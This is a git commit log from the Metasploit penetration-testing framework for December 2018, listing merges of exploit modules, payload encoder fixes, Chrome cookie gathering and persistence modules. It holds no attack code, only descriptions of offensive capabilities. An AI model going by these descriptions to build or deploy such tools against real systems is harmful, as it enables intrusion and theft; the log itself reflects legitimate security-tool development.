Land #11038 , add REG_MULTI_SZ support for Meterpreter registry reads
2018-12-21 17:00:16 -06:00
Brent Cook
69d882eb54
bump payloads with REG_MULTI_SZ support
2018-12-21 16:53:51 -06:00
Brent Cook
9736e8252c
Merge branch 'master' into land-11038-
2018-12-21 16:31:53 -06:00
Brent Cook
620c411d1f
Land #11160 , Add CMDSTAGER::SSL datastore option
2018-12-21 15:33:19 -06:00
Metasploit
8f61fe457a
automatic module_metadata_base.json update
2018-12-21 13:16:16 -08:00
William Vu
b4ff3b544f
Add CMDSTAGER::SSL datastore option
...
It has come to my attention that since I added the HTTP(S) command
stagers, no one has used HTTPS. This is probably why.
The CmdStager options hash takes precedence over any datastore options.
2018-12-21 14:51:49 -06:00
Brent Cook
2e8e927a93
Land #11156 , Add CmdStager to erlang_cookie_rce
2018-12-21 14:43:49 -06:00
William Vu
5cff330a38
Land #11128 , Rex::Exploitation::CmdStagerFetch
2018-12-21 14:16:57 -06:00
William Vu
d499c657ab
Bump Gemfile.lock and LICENSE_GEMS
2018-12-21 14:16:25 -06:00
Jacob Robles
2e6f471f54
Land #11155 , Fix typo
2018-12-21 08:15:51 -06:00
Jacob Robles
4bc871c499
Add CmdStager to erlang_cookie_rce
2018-12-21 07:33:37 -06:00
Garvit Dewan
3021a05553
Fix typo in report.rb
2018-12-21 17:51:46 +05:30
Green-m
06de47ce68
Enhance the command auto-complete in aux.
2018-12-21 18:03:57 +08:00
Alex
33bc2be34a
Merge pull request #1 from jrobles-r7/enhance/windows-chrome-cookies
...
Add Windows Support For Chrome Cookies
2018-12-21 11:54:00 +11:00
Metasploit
0471d69c16
automatic module_metadata_base.json update
2018-12-20 15:39:02 -08:00
Brent Cook
b83c6ad496
Land #11149 , fix a PTY leak in Python Meterpreter
2018-12-20 17:30:42 -06:00
Matthew Kienow
1280b0de20
Land #11150 , make requirements check more verbose
2018-12-20 15:38:25 -05:00
Metasploit
1676f7306a
Weekly dependency update
2018-12-20 12:22:02 -08:00
asoto-r7
c2c8066f09
msfdb: Reverted back to unless and nil?
2018-12-20 13:28:47 -06:00
asoto-r7
30b914e4f0
msfdb: Added verbosity to 'missing requirements' error
2018-12-20 12:07:35 -06:00
Quentin Kaiser
bf2de42077
Now supports all version of Consul.
2018-12-20 18:56:07 +01:00
Quentin Kaiser
0389262034
Merge branch 'consul_exec' of github.com:QKaiser/metasploit-framework into consul_exec
2018-12-20 18:41:56 +01:00
Quentin Kaiser
2919b970cd
Implement execution checks with a timeout limit so we don't leave zombie checks running in background.
2018-12-20 18:41:35 +01:00
Quentin Kaiser
d399562d7c
Implement execution checks with a timeout limit so we don't leave zombie checks running in background.
2018-12-20 18:41:00 +01:00
Quentin Kaiser
ba5c40db77
No need for CVE field.
2018-12-20 18:18:53 +01:00
Quentin Kaiser
594103e7c3
Update documentation to set up testing environment with Docker.
2018-12-20 13:52:06 +01:00
Mehmet İnce
9481ad04f2
Adding support for ARCH_CMD and updating docs
2018-12-20 12:12:01 +03:00
Metasploit
6204d0595e
automatic module_metadata_base.json update
2018-12-19 20:45:41 -08:00
William Vu
5af05ad976
Land #11143 , nc -j fix for cups_root_file_read
2018-12-19 22:37:00 -06:00
Jeffrey Martin
bf4bb0a5b9
bump metasploit-payloads gem
...
Update metasploit-payloads gem to 1.3.57 to pick up
fix for Python Meterpreter PTY Leak from rapid7/metasploit-payloads#319
2018-12-19 18:19:24 -06:00
Metasploit
0a7464e7d2
automatic module_metadata_base.json update
2018-12-19 11:19:52 -08:00
Mehmet İnce
68ceb08957
Fixing minor issues such as err codes
2018-12-19 22:17:34 +03:00
asoto-r7
d601837e03
Land #10401 , java_jmx_server scanner for Java JMX MBean servers
2018-12-19 13:12:03 -06:00
asoto-r7
b52a4f91ac
java_jmx_scanner: Final draft of documentation
2018-12-19 13:10:21 -06:00
asoto-r7
50b7d93a18
java_jmx_scanner: Incorporate @bcoles suggestions
2018-12-19 12:56:53 -06:00
Metasploit
3232b60ede
automatic module_metadata_base.json update
2018-12-19 09:52:48 -08:00
Wei Chen
f7eb3452be
Land #11083 , set user agent in Windows reverse_http(s) stagers
2018-12-19 11:38:12 -06:00
Brent Cook
09f9b887b9
don't bother handholding the empty string
2018-12-19 10:52:51 -06:00
Mehmet İnce
e5c8c18ded
Adding Mailcleaner exec
2018-12-19 17:35:40 +03:00
Metasploit
a4af89bb75
automatic module_metadata_base.json update
2018-12-19 06:31:13 -08:00
Jacob Robles
6921b79890
Land #11089 , Erlang cookie rce exploit module
2018-12-19 08:02:40 -06:00
Jacob Robles
5bfdc7009c
Minor Doc Changes
2018-12-19 07:58:32 -06:00
Jacob Robles
3838be0a03
Windows Hide Chrome Window
2018-12-19 05:58:11 -06:00
William Vu
1b8b3bbb95
Update nc -j check in cups_root_file_read
2018-12-18 17:38:33 -06:00
asoto-r7
51ce96a2b4
Merge branch 'jmx_scanner' of https://github.com/sgorbaty/metasploit-framework into sgorbaty-jmx_scanner
2018-12-18 16:05:03 -06:00
asoto-r7
7557624c00
ysoserial: Generated more compact JSON and renamed script
2018-12-18 15:42:50 -06:00
asoto-r7
e20c250977
ysoserial: Removed newlines from ysoserial_payloads.json
2018-12-18 15:21:56 -06:00
asoto-r7
60f3cfbb79
ysoserial: Cleaned up ysoserial payload in hp_imc_java_deserialize
2018-12-18 15:17:51 -06:00
Milton-Valencia
bb758f9a61
I didn't forget msftidy I swear
2018-12-18 14:55:12 -06:00
Milton-Valencia
8a2a605a99
added targets
2018-12-18 14:50:57 -06:00
Jacob Robles
0464f941a7
Add Windows Support
2018-12-18 14:17:10 -06:00
Quentin Kaiser
2c0c9bf3c5
Merge branch 'consul_service_exec' of github.com:QKaiser/metasploit-framework into consul_service_exec
2018-12-18 19:42:38 +01:00
Quentin Kaiser
ef8601aa71
Bail early if we receive an unexpected response.
2018-12-18 19:42:26 +01:00
Brendan Coles
552b13c91d
Randomized service length.
...
Co-Authored-By: QKaiser <QKaiser@users.noreply.github.com >
2018-12-18 19:38:04 +01:00
Quentin Kaiser
4ee7bdee6c
Merge branch 'consul_service_exec' of github.com:QKaiser/metasploit-framework into consul_service_exec
2018-12-18 19:33:51 +01:00
Quentin Kaiser
b3563b1bc2
Cleaner version of check function thanks to @bcoles.
2018-12-18 19:33:30 +01:00
Brendan Coles
5e134d7d8d
Update modules/exploits/multi/misc/consul_service_exec.rb
...
Co-Authored-By: QKaiser <QKaiser@users.noreply.github.com >
2018-12-18 19:27:19 +01:00
Brendan Coles
5192c081ee
Update modules/exploits/multi/misc/consul_service_exec.rb
...
Co-Authored-By: QKaiser <QKaiser@users.noreply.github.com >
2018-12-18 19:27:08 +01:00
Quentin Kaiser
6ad40deac3
print_status will never throw a JSON::ParseError exception.
2018-12-18 19:15:13 +01:00
jdiog0
b2b410cbbe
DoS Exploitation of Allen-Bradley legacy protocol (PCCC)
2018-12-18 16:49:53 +00:00
Pedro Ribeiro
1e88ce9a3d
Edit the comments to -84
2018-12-18 16:33:44 +00:00
Pedro Ribeiro
05218654f4
adjust the offset to -84
2018-12-18 16:30:47 +00:00
Pedro Ribeiro
af418ec7f7
Fix mipsle byte_xori too
2018-12-18 16:05:23 +00:00
Quentin Kaiser
a52ffbcead
Missing disclosure date.
2018-12-18 17:03:09 +01:00
Quentin Kaiser
a3d020a7e2
Add support for authorization with X-Consul-Token ACL header.
2018-12-18 16:56:03 +01:00
Quentin Kaiser
1839144978
Cleaner to define this as a Hash, then call .to_json on it.
2018-12-18 16:53:49 +01:00
Pedro Ribeiro
d40d6c4e3d
Update longxor.rb
...
Suffers from the same problem as the mipsbe version
2018-12-18 15:48:29 +00:00
Pedro Ribeiro
34c9555717
Fix byte_xori encoder
...
The byte_xori encoder for mipsbe does not work correctly. At the end of the decoding, it should invoke cacheflush() with the correct parameters:
int cacheflush(char *addr, int nbytes, int cache)
I think this is because the encoder is based of the longxori encoder, which itself is pretty old (2008), and before kernel 2.6.11, cacheflush() did not need any parameters (from the cacheflush man page):
BUGS
Linux kernels older than version 2.6.11 ignore the addr and nbytes arguments, making this function fairly expensive. Therefore, the whole cache is always flushed.
This commit fixes that by setting up the parameters correctly. As an unfortunate side effect this increases the shellcode by 16 bytes, but it is absolutely necessary for it to work properly.
Note that this bug is not present when testing the encoder output on an emulator like qemu; emulators do not need to flush the caches to work properly.
2018-12-18 15:37:47 +00:00
Quentin Kaiser
177ae2f927
fail_with is not allowed in check method. Use vprint_error and return a CheckCode instead. Cleaner response check in check function. Usage of CheckCode instead of Exploit::CheckCode.
2018-12-18 16:33:53 +01:00
Quentin Kaiser
0feadf636b
Define in RPORT and SSL in register_options rather than DefaultOptions. Support for echo and printf command stager flavors + support for curl and wget command stager flavors (hence reactivation of SRVHOST, SRVPORT, URIPATH and SSLCert).
2018-12-18 16:29:36 +01:00
Quentin Kaiser
0acdcd98f2
Merge branch 'master' into consul_service_exec
2018-12-18 16:27:08 +01:00
Quentin Kaiser
f487f978c2
Merge branch 'consul_exec' of github.com:QKaiser/metasploit-framework into consul_exec
2018-12-18 16:09:18 +01:00
Quentin Kaiser
08541cd7b9
Merge branch 'master' into consul_exec
2018-12-18 16:07:08 +01:00
Quentin Kaiser
a1e1e4a4f4
Remove useless comment.
2018-12-18 16:05:50 +01:00
Quentin Kaiser
b80e5715d4
Add support for authorization with X-Consul-Token ACL header.
2018-12-18 16:02:39 +01:00
Wei Chen
847e3232ab
Land #11102 , remove old metasm remnants
2018-12-18 08:53:53 -06:00
Quentin Kaiser
551f8c5e92
Support for echo and printf command stager flavors + support for curl and wget command stager flavors (hence reactivation of SRVHOST, SRVPORT, URIPATH and SSLCert).
2018-12-18 15:48:58 +01:00
Quentin Kaiser
f290221a66
Cleaner response check in check function. Usage of CheckCode instead of Exploit::CheckCode.
2018-12-18 15:36:52 +01:00
Quentin Kaiser
aeec5cf23e
Cleaner to define this as a Hash, then call .to_json on it. Better support of agent definition in check function.
2018-12-18 15:31:30 +01:00
Quentin Kaiser
e51530688b
fail_with is not allowed in check method. Use vprint_error and return a CheckCode instead.
2018-12-18 15:09:04 +01:00
Quentin Kaiser
4682cf5796
Define in register_options rather than DefaultOptions.
2018-12-18 15:04:28 +01:00
Pedro Ribeiro
86cbddf46d
fix spacing
2018-12-18 13:35:16 +00:00
Pedro Ribeiro
fff850a07e
Make longxor encoder great again
...
The longxor encoder for mipsbe does not work correctly. At the end of the decoding, it should invoke cacheflush() with the correct parameters:
int cacheflush(char *addr, int nbytes, int cache)
The encoder previously did not setup the arguments, as it even said so in the comments:
; addiu $4, $16, -4 ; not checked by Linux
; li $5,40 ; not checked by Linux
; li $6,3 ; $6 is set above
I think this is because the encoder is pretty old (2008), and before kernel 2.6.11, cacheflush() did not need any parameters (from the cacheflush man page):
BUGS
Linux kernels older than version 2.6.11 ignore the addr and nbytes arguments, making this function fairly expensive. Therefore, the
whole cache is always flushed.
This commit fixes that by setting up the parameters correctly. As an unfortunate side effect this increases the shellcode by 16 bytes, but it is absolutely necessary for it to work properly.
Note that this bug is not present when testing the encoder output on an emulator like qemu; emulators do not need to flush the caches to work properly.
As an added bonus I have also made it compatible with toupper() restrictions, which is common in web server exploits too. This did not add any extra bytes to the encoder.
2018-12-18 12:30:55 +00:00
Metasploit
483a3618ae
automatic module_metadata_base.json update
2018-12-17 19:32:00 -08:00
Brent Cook
fc2d217c0a
Land #11135 , strip comments from source code before uploading it to the target
2018-12-17 21:23:29 -06:00
Brent Cook
333d44186b
Land #11138 , add reverse_tcp mixin for vax payload
2018-12-17 21:17:40 -06:00
asoto-r7
349a366e84
ysoserial: Changes from code review
2018-12-17 15:41:31 -06:00
Metasploit
595ebf5dc7
automatic module_metadata_base.json update
2018-12-17 12:23:47 -08:00
bwatters
bf13693d37
Land #11101 , temp fix for x64/xor stage encoder
...
Merge branch 'land-11101' into upstream-master
2018-12-17 14:14:55 -06:00
LouDnl
2a69fffa6b
fix for ReverseTcp error
...
Update vax shell_reverse_tcp.rb to fix ReverseTcp NameError
Error:
/opt/metasploit-framework/embedded/framework/modules/payloads/singles/bsd/vax/shell_reverse_tcp.rb:24:in `initialize': uninitialized constant Msf::Handler::ReverseTcp (NameError)
After adding this line the error dissapeared for me and I was able to run msfconsole again.
2018-12-17 19:28:07 +01:00
Metasploit
1b581b0c1f
automatic module_metadata_base.json update
2018-12-17 08:11:04 -08:00
Shelby Pace
2fc501d260
Land #11112 , Fix bpf_priv_esc exploit module
2018-12-17 10:00:50 -06:00
Metasploit
601804d315
automatic module_metadata_base.json update
2018-12-17 07:18:35 -08:00
Jacob Robles
7839add2fd
Land #11123 , Add module windows persistent service
2018-12-17 09:07:21 -06:00
Green-m
cb0cde3602
Merge pull request #7 from jrobles-r7/patch/service_doc
...
Documentation Update
2018-12-17 21:44:43 +08:00
Jacob Robles
80e70b29ef
Doc Formatting
2018-12-17 07:34:52 -06:00
Green-m
b5904bcd82
Merge pull request #6 from jrobles-r7/patch/service_space
...
Fix additional path space issues
2018-12-17 21:20:42 +08:00
Jacob Robles
88b7b7df4a
Fix additional path space issues
2018-12-17 07:00:23 -06:00
Brendan Coles
d973a58052
Clean up linux/local/vmware_alsa_config
2018-12-17 08:01:34 +00:00
Green-m
0aa6e5a640
Handle path with spaces correctly.
2018-12-17 10:25:06 +08:00
Brendan Coles
fcb512878c
Add strip_comments method to Linux local exploits
2018-12-16 14:11:54 +00:00
Wei Chen
5bf28887d2
Land #11127 , Fix TARGETURI support in struts2_namespace_ognl
2018-12-15 09:33:48 -06:00
Green-m
b2c6dfa0df
Merge pull request #5 from jrobles-r7/patch/service_code
...
Patch/service code
2018-12-15 14:06:17 +08:00
Brendan Coles
cba195b7d8
Update tested versions
2018-12-15 05:44:32 +00:00
Brendan Coles
a7b5737980
Update documentation
2018-12-15 05:41:40 +00:00
Brendan Coles
b8e134b95d
Update version check
2018-12-15 05:39:50 +00:00
Brendan Coles
8d93812c0a
Add Rex::Exploitation::CmdStagerFetch
2018-12-15 03:30:00 +00:00
Francesco Soncina
6237740116
lint: remove spaces
2018-12-15 01:02:13 +01:00
asoto-r7
cd2dbf0edf
ysoserial: Modified hp_imc_java_deserialize to use the library
2018-12-14 16:13:17 -06:00
Metasploit
ed03590ad8
automatic module_metadata_base.json update
2018-12-14 14:02:44 -08:00
Wei Chen
e268691511
Land #11124 , delete unused variable
2018-12-14 15:22:42 -06:00
asoto-r7
a2a38bb72f
ysoserial: Distracted halfway through a comment 🙃
2018-12-14 15:07:13 -06:00
asoto-r7
74b4ba1c50
ysoserial: Change class name to camelcase to align with Ruby style guide
2018-12-14 14:44:58 -06:00
asoto-r7
212454b1fb
ysoserial: Support larger payloads, Randomize fingerprintable string
2018-12-14 14:43:30 -06:00
Jacob Robles
8adfef5730
Remove Version, Fix Whitespace
2018-12-14 13:19:49 -06:00
Jacob Robles
e67eaa94c9
Move code to ERB template
2018-12-14 13:13:32 -06:00
William Vu
38bdee19e8
Fix TARGETURI support in struts2_namespace_ognl
2018-12-14 13:08:50 -06:00
asoto-r7
fa74a1839a
Initial support for dynamic ysoserial Java serialization payloads
2018-12-14 12:51:08 -06:00
Matthew Kienow
eec7a3dafc
Remove debug code
2018-12-14 13:33:16 -05:00
Matthew Kienow
ad6b80bd08
Remove unused session_dto flag
2018-12-14 13:01:20 -05:00
Matthew Kienow
a683cedcce
Enhance race condition workaround in report_host
2018-12-14 12:28:16 -05:00
Matthew Kienow
c2af36f405
Use update_session rather than Mdm save method
...
The changes ensure that updates to an Mdm::Session are reflected on a
remote data service.
2018-12-14 12:22:49 -05:00
Matthew Kienow
b6cdf7aa9d
Add update_session method
2018-12-14 12:04:55 -05:00
Auxilus
6c9fafb9d5
Delete unused variable
...
I suppose the variable 'f' was for Name in https://github.com/rapid7/metasploit-framework/blob/06720ee18b2d661aa5ea695ed80e4daa88fbf20c/modules/exploits/linux/smtp/haraka.py#L70
I'm not sure, should it be 'f' at https://github.com/rapid7/metasploit-framework/blob/06720ee18b2d661aa5ea695ed80e4daa88fbf20c/modules/exploits/linux/smtp/haraka.py#L70 or just the way it is atm?
2018-12-14 22:27:11 +05:30
Matthew Kienow
a8ed971f12
Move convert_msf_session_to_hash to data proxy
2018-12-14 11:46:12 -05:00
Matthew Kienow
3f9b2dadc8
Remove unnecessary single object selection
2018-12-14 11:20:19 -05:00
Matthew Kienow
4cefb8d06e
Fix typo
2018-12-14 11:19:40 -05:00
Jacob Robles
556d182231
Remove code that was replaced
2018-12-14 09:15:01 -06:00
Jacob Robles
a057b72bd9
Use argument
2018-12-14 09:14:27 -06:00
Jacob Robles
dfa84aa1af
Use exploit default exception handling
2018-12-14 09:12:32 -06:00
Jacob Robles
5fd7b82f7a
Remove unused parameter
2018-12-14 09:10:29 -06:00
Green-m
48ad8e8038
Merge pull request #4 from jrobles-r7/service-patch
...
Work around snprintf
2018-12-14 20:05:32 +08:00
Brent Cook
06720ee18b
Land #11121 , remove call to undefined port_allowed?
2018-12-13 20:01:15 -06:00
Jeffrey Martin
4963647bf6
remove call to method not defined
2018-12-13 17:00:41 -06:00
Metasploit
1205615b6c
automatic module_metadata_base.json update
2018-12-13 14:24:49 -08:00
Brent Cook
673cfe6889
Land #11119 , Add WEBUI_PORT to hp_van_sdn_cmd_inject exploit
2018-12-13 16:15:53 -06:00
Metasploit
04d8e2fc63
automatic module_metadata_base.json update
2018-12-13 13:40:15 -08:00
Jacob Robles
58aa16d06b
Work around snprintf
2018-12-13 14:29:54 -06:00
Jeffrey Martin
2a453e5451
Land #11120 , revert Bypassuac computerdefault
...
this reverts #10886 landed in error
2018-12-13 14:26:27 -06:00
Metasploit
a071bdd8ab
automatic module_metadata_base.json update
2018-12-13 11:58:13 -08:00
bwatters-r7
f00118851a
Revert "Land #10886 , Bypassuac computerdefault"
...
This reverts commit 14b2cdc120 , reversing
changes made to a79b936e09 .
2018-12-13 13:56:16 -06:00
Wei Chen
cc7cb7302e
Land #10944 , Add macOS Safari exploit from pwn2own2018
2018-12-13 13:50:19 -06:00
Jacob Robles
92feeea0ca
Minor syntax change
2018-12-13 13:46:40 -06:00
William Vu
cb5648a1c7
Add WEBUI_PORT to hp_van_sdn_cmd_inject exploit
2018-12-13 12:22:36 -06:00
bwatters-r7
8342f15c44
Land #11118 , update Gemfile.lock
...
Merge branch 'land-11118' into upstream-master
2018-12-13 12:17:44 -06:00
Metasploit
0601ff5edb
Weekly dependency update
2018-12-13 10:06:10 -08:00
Jeffrey Martin
a92f434f03
update Gemfile.lock
2018-12-13 11:32:02 -06:00
Milton-Valencia
3f1aa425b4
msftidy....lol
2018-12-13 11:03:41 -06:00
Milton-Valencia
2e26ceac8f
added comments
2018-12-13 10:55:09 -06:00
Caitlin Condon
8ffa0f64dc
Change individual contacts
2018-12-13 10:38:55 -06:00
bwatters-r7
564814c4db
Land #10676 , Add support for ext_server_unhook
...
Merge branch 'land-10676' into upstream-master
2018-12-13 09:46:37 -06:00
bwatters-r7
b56a252de6
Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master
2018-12-13 09:36:18 -06:00
Caitlin Condon
16d7c0530a
Update CONTRIBUTING.md
2018-12-13 09:35:37 -06:00
bwatters-r7
89e4e8bdea
Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master
2018-12-13 09:30:10 -06:00
Metasploit
a8ebccebed
automatic module_metadata_base.json update
2018-12-12 14:39:47 -08:00
bwatters-r7
632a12339f
Bump Payloads to 1.3.56 to match payloads PR land
2018-12-12 16:35:18 -06:00
William Vu
da0202aa90
Land #11103 , CreateSession option for aux modules
2018-12-12 16:25:38 -06:00
William Vu
8b79634338
Update a few stragglers
...
And since eaton_xpert_backdoor was copied from my fortinet_backdoor
module, update the error handling there, too.
2018-12-12 15:47:18 -06:00
William Vu
e69f006992
Remove CommandShell mixin in exploits
...
This was cargo culting. Exploits use handler instead of start_session.
2018-12-12 15:43:13 -06:00
William Vu
6e77ae7e3e
Update my SSH scanner modules
...
Especially with proper error handling for Net::SSH::CommandStream.
2018-12-12 15:36:54 -06:00
William Vu
a415063acd
Reword CreateSession option description
2018-12-12 15:32:31 -06:00
Stephen Haywood
7cffbac65b
Update additional scanner modules.
2018-12-12 15:32:31 -06:00
Stephen Haywood
fa2164ebb9
Update to match coding style.
2018-12-12 15:32:31 -06:00
Stephen Haywood
eceb47a9da
Move CREATE_SESSION option to advanced option CreateSession
2018-12-12 15:32:31 -06:00
Stephen Haywood
8a7187ad79
Add CREATE_SESSION option to CommanShell
...
Register the CREATE_SESSION option in command_shell_options so it
can be used with all modules that use start_session.
Modify ssh_login.rb, ssh_login_pubkey.rb, and telnet_login.rb to
use the new CREATE_SESSION option.
When CREATE_SESSION is set to true (default) a new session is
created with each successful login. When set to false a new session
is not created but the successful login is still registered in the
credentials database.
2018-12-12 15:32:31 -06:00
Stephen Haywood
904f342848
Option to not create shell on login.
2018-12-12 15:32:30 -06:00
Aaron Soto
84e4cd9a0c
Update CONTRIBUTING.md
...
Updated vuln disclosure, removed deprecated instructions, added links to more recent examples
2018-12-12 15:01:21 -06:00
Metasploit
6e6269ab46
automatic module_metadata_base.json update
2018-12-12 11:42:51 -08:00
Wei Chen
23c52d13f0
Land #10429 , Add webdav delivery module
2018-12-12 13:31:37 -06:00
Wei Chen
8ffd9e47b0
Up to date PR10429
2018-12-12 13:30:58 -06:00
Wei Chen
96c281daef
Add send_not_found and module documentation for webdav_delivery
2018-12-12 13:26:46 -06:00
Brendan Coles
68d451711b
Fix bpf_priv_esc module
2018-12-12 17:23:12 +00:00
Jacob Robles
ea724dec46
Merge in upstream/master
2018-12-12 11:00:31 -06:00
Jacob Robles
3fbfaf2ff5
Documentation Update
2018-12-12 07:00:37 -06:00
Metasploit
f4453be69e
automatic module_metadata_base.json update
2018-12-11 18:40:31 -08:00
William Vu
aa0c206b4b
Land #11107 , double negative logic cleanup
2018-12-11 20:29:53 -06:00
Metasploit
afa5b5db57
automatic module_metadata_base.json update
2018-12-11 10:12:09 -08:00
Shelby Pace
ae089ce573
Land #10960 , add wp duplicator code inject module
2018-12-11 12:02:07 -06:00
Shelby Pace
b82e3469a2
renamed module and doc
2018-12-11 11:59:19 -06:00
Julien Legras
7e953e34b9
Added the clean_up function
2018-12-11 18:13:46 +01:00
bwatters
b109321b44
Kill unless not
2018-12-11 10:16:16 -06:00
bwatters
0c9d5b7d51
refactor unless ! to if
2018-12-11 10:04:55 -06:00
bwatters
ac88c604fd
Remove copy/pasta'd funtion that was never called
2018-12-11 10:02:36 -06:00
Metasploit
f946b6d900
automatic module_metadata_base.json update
2018-12-11 06:39:46 -08:00
Jacob Robles
1ab69c221c
Land #11040 , Add CyberLink LabelPrint Local BOF
2018-12-11 08:19:51 -06:00
Jacob Robles
106d6cefe4
Add documentation
2018-12-11 07:55:52 -06:00
Jacob Robles
165f082160
Fix syntax, minor edits
2018-12-11 07:55:20 -06:00
Brent Cook
5d90608784
remove cpuinfo from license
2018-12-10 19:03:42 -06:00
Brent Cook
143435514f
remove metasm/cpuinfo license info
2018-12-10 19:03:18 -06:00
Brent Cook
bd3e474513
delete old cpuinfo code (is it used anywhere?)
2018-12-10 19:03:04 -06:00
Brent Cook
4ff6f0171d
remove old metasm remnants
...
Noticed while @asoto-r7 was reviewing Code Climate results, and it
highlighted some metasm code as having unusual code structure. Rather
than fixing it, we can delete it, since this is from upstream metasm
presumably, which we've used as a Gem for some time (thanks @egypt).
All payloads should still be regenerable, and evasion modules as well.
2018-12-10 18:58:53 -06:00
Francesco Soncina
ff2d048530
fixes: update x86/xor_dynamic for #11100
2018-12-10 22:45:45 +01:00
Francesco Soncina
a94e52ca31
fixes: updates x64/xor_dynamic for #11100
2018-12-10 22:42:31 +01:00
Metasploit
3968b1ed2e
automatic module_metadata_base.json update
2018-12-10 09:42:28 -08:00
William Vu
3f18ffa224
Land #10318 , Oracle function-based index privesc
2018-12-10 11:32:39 -06:00
William Vu
d0f1f72426
Clean up module
2018-12-10 11:21:16 -06:00
Brent Cook
43842ad41d
Land #11082 , Update show plugins to show all available plugins as well
2018-12-10 10:20:51 -06:00
Metasploit
2ccce813e0
automatic module_metadata_base.json update
2018-12-10 08:06:37 -08:00
Brent Cook
bc6356a2cd
Land #11090 , update code and style for exploit/linux/local/glibc_origin_expansion_priv_esc
2018-12-10 09:59:03 -06:00
Brendan Coles
5bddc4e9ef
Land #11096 , Replace WsfDelay typo with WfsDelay in docs
2018-12-10 11:03:53 +00:00
Auxilus
bca4ae03ff
Replace WsfDelay with WfsDelay
2018-12-10 16:02:19 +05:30
Metasploit
aa56f1e073
automatic module_metadata_base.json update
2018-12-09 22:47:11 -08:00
William Vu
82d34b9406
Land #11087 , File::binread for exploit_data
2018-12-10 00:38:51 -06:00
Milton-Valencia
565f2e3e38
wait wrong
2018-12-09 19:23:54 -06:00
Milton-Valencia
ee2ed46143
added date based on man page
2018-12-09 19:17:22 -06:00
Milton-Valencia
f6bfbddb8d
twks
2018-12-09 15:59:58 -06:00
Milton-Valencia
15aaaa4f21
removed 0 just saw...
2018-12-09 15:39:27 -06:00
Milton-Valencia
2beddf1012
req changes
2018-12-09 15:01:09 -06:00
Brent Cook
52af87d278
Land #11091 , add chronos user
2018-12-09 09:24:06 -06:00
Shreyans Devendra Doshi
45c6f1ed62
Fix #11084 Add 'chronos' to unix_users.txt
...
This commit adds the username 'chronos' to the user list as it happens
to be the default username on ChromeOS, as highlighted by @h00die in
Issue #11084 .
2018-12-09 09:58:58 -05:00
Brendan Coles
237d3c86c4
Code cleanup and update style
2018-12-09 07:26:51 +00:00
Milton-Valencia
39229125b7
tweak
2018-12-09 00:22:49 -06:00
Milton-Valencia
02f3d4688f
changes
2018-12-09 00:10:54 -06:00
Milton-Valencia
69ed80f685
varys -> varies
2018-12-08 22:51:52 -06:00
Milton-Valencia
fcad3f0c8f
erlang cookie rce exploit module
2018-12-08 22:36:56 -06:00
Brendan Coles
a9c0a5d53d
Use ::File::binread for exploit_data file read
2018-12-09 04:09:56 +00:00
Alex
c5015c62b8
Simplify Chrome Gather Cookies
...
Module now uses Chrome itself as a websocket client, reading websockets
via js. It no longer downloads and executes `websocat`.
2018-12-09 09:52:45 +11:00
Metasploit
d9e7efa7e2
automatic module_metadata_base.json update
2018-12-08 07:59:36 -08:00
Brent Cook
d3fc707c98
Land #11080 , update mettle payloads
2018-12-08 09:51:37 -06:00
Metasploit
cff8816781
automatic module_metadata_base.json update
2018-12-08 07:28:08 -08:00
Brent Cook
3768f79568
Land #11085 , add lkrg_installed? checks to various modules
2018-12-08 09:19:33 -06:00
Brent Cook
733c2f637d
Land #11081 , Add Msf::Post::Linux::Kernel.lkrg_installed? method
2018-12-08 09:14:57 -06:00
Brendan Coles
d8ab6a552b
Add lkrg_installed? checks
2018-12-08 13:37:12 +00:00
Metasploit
52eb60469e
automatic module_metadata_base.json update
2018-12-08 05:07:49 -08:00
Brent Cook
2e5e392085
Land #11079 , add kernel configuration checks to local exploits
2018-12-08 06:58:48 -06:00
Brent Cook
0ce05f0c07
update payload sizes
2018-12-08 06:24:02 -06:00
Brent Cook
3dca52510d
pass NULL if the UA field is empty
2018-12-08 06:23:35 -06:00
Brent Cook
6f8fc55b86
set user agent in Windows reverse_http(s) stagers
2018-12-07 14:03:03 -06:00
Garvit Dewan
42c5a7d245
Update show plugins to show all available plugins as well as the loaded ones.
...
Fixes #11051
2018-12-08 01:19:44 +05:30
Brent Cook
df76521100
Land #11066 , add rpc output locking, fix logging
2018-12-07 13:49:10 -06:00
Brent Cook
7f4d97ef46
don't embed status characters in messages, use correct logging instead
2018-12-07 13:29:56 -06:00
Brent Cook
09ffce4ec5
fix mutex locking, push to rpcSend
2018-12-07 13:28:34 -06:00
Brendan Coles
80d83720df
Add Msf::Post::Linux::Kernel.lkrg_installed? method
2018-12-07 14:42:16 +00:00
Brendan Coles
275c043cfd
Add kernel_config checks
2018-12-07 03:28:17 +00:00
Brent Cook
0345c8f66c
update mettle payloads
...
This is a large update to mettle payloads including:
* Adds globbing support to the `ls` command (https://github.com/rapid7/mettle/pull/139 )
* Fixes crashes on iOS platforms when cryptTLV is enabled (https://github.com/rapid7/mettle/pull/142 )
* Fixes display of the OS version on macOS and iOS (https://github.com/rapid7/mettle/pull/143 )
* Fixes the local port handling for pivoted client network connections (https://github.com/rapid7/mettle/pull/144 )
* Fixes an unaligned memory access in TLV packet handling, needed for some CPUs (https://github.com/rapid7/mettle/pull/145 )
* Fixes some compatibility issues building on Solaris (https://github.com/rapid7/mettle/pull/147 )
* Updated libpcap, mbedtls, and libcurl to the latest versions (https://github.com/rapid7/mettle/pull/146 )
2018-12-06 21:16:41 -06:00
Brent Cook
9e110eb9fc
Land #10940 , add default service mapping to imports
2018-12-06 21:04:05 -06:00
Metasploit
273d26f173
automatic module_metadata_base.json update
2018-12-06 19:00:59 -08:00
Brent Cook
f4282bfb56
Land #11064 , Add Msf::Post::Linux::Kernel.kernel_config method
2018-12-06 20:52:12 -06:00
Brent Cook
310d6f0170
Land #11068 , Update db_connect help text
2018-12-06 20:32:13 -06:00
Brent Cook
7d8458d8d4
Land #11076 , Prevent storing empty config files as loot
2018-12-06 20:30:08 -06:00
Brent Cook
1515dffd06
Land #11062 , Suppress 'Permission denied' errors when enumerating SUID files
2018-12-06 20:22:44 -06:00
Brent Cook
71f84fe6a7
Land #11060 , Add checks to post/linux/gather/enum_protections
2018-12-06 20:17:50 -06:00
Brent Cook
7b654409f7
Land #11078 , add additional CVE for exploit/linux/http/php_imap_open_rce
2018-12-06 20:14:49 -06:00
Tod Beardsley
140833215f
Add CVE as issued by DWF
...
See discussion on #10987 .
Now that I said that out loud, I realize that the original PR for this
module is a really funny PR number.
2018-12-06 14:59:05 -06:00
Brendan Coles
eecc5d60e0
Prevent storing empty config files as loot
